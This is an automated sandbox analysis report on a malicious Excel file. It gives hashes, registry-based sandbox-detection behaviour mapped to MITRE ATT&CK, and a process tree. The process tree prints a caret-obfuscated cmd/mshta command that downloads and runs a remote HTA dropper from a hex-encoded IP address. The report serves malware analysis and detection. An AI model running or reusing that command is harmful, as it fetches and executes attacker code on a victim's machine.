7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
195s
max time network
242s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

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General

Target

file-1001.xls
Size

65KB
MD5

38039b0fd8bc165fd40eab1023cda9a4
SHA1

c0aa768a83c629fcfa3f80ce646105b5919c99f4
SHA256

7b3166872d7c274a1492ce3a46bb16f6f70c0e96e088cdd1a9496b199869f73e
SHA512

ec880399691725316e45ce6bd930650a3daaa8947d2f9e6ea7a2799c200401d1ca334548210c1bcc198683c798c3976ffa73816f7b2603d8f1715dce0837994c

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1196	3136	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

35 3788 mshta.exe

flow	pid	process
35	3788	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3136 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3136	EXCEL.EXE
3136	EXCEL.EXE
3136	EXCEL.EXE
3136	EXCEL.EXE
3136	EXCEL.EXE
3136	EXCEL.EXE
3136	EXCEL.EXE
3136	EXCEL.EXE
3136	EXCEL.EXE
3136	EXCEL.EXE
3136	EXCEL.EXE
3136	EXCEL.EXE
3136	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3136 wrote to memory of 1196	3136	EXCEL.EXE	cmd.exe
PID 3136 wrote to memory of 1196	3136	EXCEL.EXE	cmd.exe
PID 1196 wrote to memory of 3788	1196	cmd.exe	mshta.exe
PID 1196 wrote to memory of 3788	1196	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-1001.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3136

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1196

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:3788

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/3136-118-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3136-119-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3136-120-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3136-121-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3136-124-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3136-131-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp

Filesize
64KB

Download
memory/3136-132-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp

Filesize
64KB

Download
memory/3136-304-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3136-305-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3136-306-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3136-307-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download